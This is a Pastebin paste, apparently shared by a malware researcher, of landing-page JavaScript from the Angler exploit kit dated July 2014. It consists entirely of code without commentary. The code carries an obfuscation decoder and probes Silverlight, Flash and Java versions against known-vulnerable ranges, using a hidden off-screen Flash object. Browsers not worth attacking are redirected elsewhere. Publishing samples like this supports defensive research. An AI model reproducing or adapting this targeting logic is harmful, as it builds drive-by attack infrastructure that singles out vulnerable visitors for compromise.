Advertisement
Kafeine

Function1 - RPLm1 - AnglerEK - 2014-07-03

Jul 4th, 2014
700
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. if (!Array.prototype.indexOf) {
  2.     Array.prototype.indexOf = function (obj, start) {
  3.         for (var i = (start || 0), j = this.length; i < j; i++) {
  4.             if (this[i] === obj) {
  5.                 return i;
  6.             }
  7.         }
  8.         return -1;
  9.     };
  10. }
  11. window.CqhIUKr = new Function('text', "var cryptKey = GhjwbK0, rawArray = cryptKey.split(''), sortArray = cryptKey.split(''), keyArray=[];sortArray.sort(); var keySize = sortArray.length;for (var i=0; i<keySize; i++) {keyArray.push(rawArray.indexOf(sortArray[i]));}var k = keySize - text.length % keySize;for(var l = 0; l<k;l++) {text += ' ';} var endStr = '', i,j,line,newLine;for (i = 0; i < text.length; i += keySize) {line = text.substr(i,keySize).split('');newLine = '';for (j = 0; j < keySize; j++){newLine += line[keyArray[j]];}endStr = endStr + newLine;}endStr=endStr.replace(/\\s/g,'');return endStr;");
  12. var xObjectName = 'ActiveXObject';
  13. var xObject = window[xObjectName];
  14. var AgControl = 'AgControl.AgControl';
  15.  
  16. function silverVersion(value) {
  17.     var nav = navigator.plugins["Silverlight Plug-In"];
  18.     if (nav) {
  19.         return testVersion(nav.description);
  20.     } else {
  21.         try {
  22.             var control = new ActiveXObject('AgControl.AgControl');
  23.             var vers = Array(1, 0, 0, 0);
  24.             loopVersion(control, vers, 0, 1);
  25.             loopVersion(control, vers, 1, 1);
  26.             loopVersion(control, vers, 2, 10000);
  27.             loopVersion(control, vers, 2, 1000);
  28.             loopVersion(control, vers, 2, 100);
  29.             loopVersion(control, vers, 2, 10);
  30.             loopVersion(control, vers, 2, 1);
  31.             loopVersion(control, vers, 3, 1);
  32.             return testVersion(vers.join('.'));
  33.         } catch (e) {
  34.             return testVersion(false);
  35.         }
  36.     }
  37.  
  38.     function testVersion(currentVersion) {
  39.         if (!currentVersion) return currentVersion;
  40.         if (parseInt(String(currentVersion).replace(/\./g, '')) > parseInt(String(value).replace(/\./g, ''))) return 1;
  41.         if (parseInt(String(currentVersion).replace(/\./g, '')) == parseInt(String(value).replace(/\./g, ''))) return 0;
  42.         if (parseInt(String(currentVersion).replace(/\./g, '')) < parseInt(String(value).replace(/\./g, ''))) return -1;
  43.     }
  44.  
  45.     function loopVersion(control, vers, idx, inc) {
  46.         while (IsSupported(control, vers)) {
  47.             vers[idx] += inc;
  48.         }
  49.         vers[idx] -= inc;
  50.     }
  51.  
  52.     function IsSupported(control, ver) {
  53.         return control.isVersionSupported(ver[0] + "." + ver[1] + "." + ver[2] + "." + ver[3]);
  54.     }
  55. }
  56.  
  57. function flashVersion(versionValue) {
  58.     var a = !1,
  59.         res, ver = fixNumber(versionValue);
  60.  
  61.     function fixNumber(num) {
  62.         function beautify(match, number) {
  63.             var res = "000" + match;
  64.             return (res).substr(res.length - 3)
  65.         }
  66.         var n = num.split(".");
  67.         result = n[0] + n[1].replace(/\d+/g, beautify) + n[2].replace(/\d+/g, beautify);
  68.         return n.length > 3 ? result + n[3].replace(/\d+/g, beautify) : result;
  69.     }
  70.  
  71.     function version(b) {
  72.         if (!b) {
  73.             return null
  74.         };
  75.         b = fixNumber(String(b).replace(/^[^0-9]+/g, '').replace(/[^0-9\.]/g, '.').replace(/\.+/g, '.').replace(/\,/g, '.'));
  76.         if (!b) {
  77.             return null
  78.         };
  79.         var verTest = parseInt(ver.substr(0, b.length));
  80.         if (parseInt(b) > verTest) {
  81.             return 1;
  82.         }
  83.         if (parseInt(b) == verTest) {
  84.             return 0;
  85.         }
  86.         return -1;
  87.     }
  88.  
  89.     function createFlash() {
  90.         var obj = document.createElement("object"),
  91.             newDiv = document.createElement("div"),
  92.             id = String("flash" + new Date()).replace(/\s|\+|\:/g, '');
  93.         newDiv.style.cssText = 'position:absolute;top:-1000px;left:-1000px;';
  94.         obj.setAttribute("type", "application/x-shockwave-flash");
  95.         obj.style.cssText = "outline-style:none;border-style:none;padding:0px;margin:0px;visibility:visible;display:inline;width:1px;height:1px";
  96.         obj.setAttribute("width", "1");
  97.         obj.setAttribute("id", id);
  98.         obj.setAttribute("height", "1");
  99.         obj.id = id;
  100.         newDiv.appendChild(obj);
  101.         document.body.appendChild(newDiv);
  102.         result = String(obj.GetVariable("$version"));
  103.         return result;
  104.     }
  105.     if (navigator.plugins && navigator.plugins.length) {
  106.         var e = navigator.plugins["Shockwave Flash"];
  107.         e && (a = !0, e.description && (b = e.description));
  108.         navigator.plugins["Shockwave Flash 2.0"] && (a = !0, b = "2.0.0.11");
  109.         res = version(b);
  110.         if (res > 0 || res < 0) return res;
  111.         try {
  112.             return version(createFlash());
  113.         } catch (e) {
  114.             return;
  115.         }
  116.     } else {
  117.         if (navigator.mimeTypes && navigator.mimeTypes.length) {
  118.             var f = navigator.mimeTypes["application/x-shockwave-flash"];
  119.             (a = f && f.enabledPlugin) && (b = f.enabledPlugin.description);
  120.             res = version(b);
  121.             if (res > 0 || res < 0) return res;
  122.             try {
  123.                 return version(createFlash());
  124.             } catch (e) {
  125.                 return;
  126.             }
  127.         } else {
  128.             try {
  129.                 var g = new ActiveXObject("ShockwaveFlash.ShockwaveFlash.7"),
  130.                     a = !0,
  131.                     b = g.GetVariable("$version");
  132.                 return version(b);
  133.             } catch (h) {
  134.                 try {
  135.                     g = new ActiveXObject("ShockwaveFlash.ShockwaveFlash.6"), a = !0, b = "6.0.21";
  136.                     return;
  137.                 } catch (i) {
  138.                     try {
  139.                         g = new ActiveXObject("ShockwaveFlash.ShockwaveFlash"), a = !0, b = g.GetVariable("$version");
  140.                         return version(b);
  141.                     } catch (j) {}
  142.                 }
  143.             }
  144.         }
  145.     }
  146.     return;
  147. }
  148. var minValue = silverVersion("4.0.50401.0"),
  149.     maxValue = silverVersion("5.1.10411.0"),
  150.     currentValue = silverVersion("5.0.60818.0");
  151. if (typeof (minValue) != 'undefined' && typeof (maxValue) != 'undefined' && typeof (currentValue) != 'undefined' && minValue >= 0 && maxValue <= 0 && currentValue != 0) {
  152.     window.sf325gtgs7sfds = true;
  153. } else {
  154.     var ua = window.navigator.userAgent,
  155.         FF = ua.toLowerCase().indexOf('firefox') > 0,
  156.         IE = ua.indexOf('MSIE ') > 0 || ua.indexOf('Trident/') > 0;
  157.     if ((IE || FF) && ((flashVersion("11.3.300.257") >= 0 && flashVersion("11.7.700.275") <= 0) || (flashVersion("11.8.800.94") >= 0 && flashVersion("13.0.0.182") <= 0))) {
  158.         if (!(FF && flashVersion("11.3.000.000") >= 0 && navigator.appVersion.indexOf('Windows NT 6') >= 0)) {
  159.             if (!((navigator.userAgent.indexOf("Win64") == -1 && navigator.userAgent.indexOf("x64") == -1) && (flashVersion("11.7.700.275") == 0 || flashVersion("13.0.0.182") == 0))) {
  160.                 window.sf325gtgs7sfdf1 = true;
  161.             }
  162.         }
  163.     }
  164. } if (navigator.javaEnabled()) {
  165.     window.sf325gtgs7sfdj = true;
  166. }
  167. var Browser = {
  168.     Version: function () {
  169.         try {
  170.             var birks = /malware.dontneedcoffee.com/.test();
  171.         } catch (e) {}
  172.         var version = 999;
  173.         if (navigator.appVersion.indexOf("MSIE") != -1) version = parseFloat(navigator.appVersion.split("MSIE")[1]);
  174.         return version;
  175.     }
  176. };
  177. if (!window.sf325gtgs7sfdj && !window.sf325gtgs7sfds && !window.sf325gtgs7sfdf1 && !window.sf325gtgs7sfdf2 && (Browser.Version() > 10)) {
  178.     var urlName = decIt(GhjwbK1);
  179.     document.location.href = "/" + urlName;
  180. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement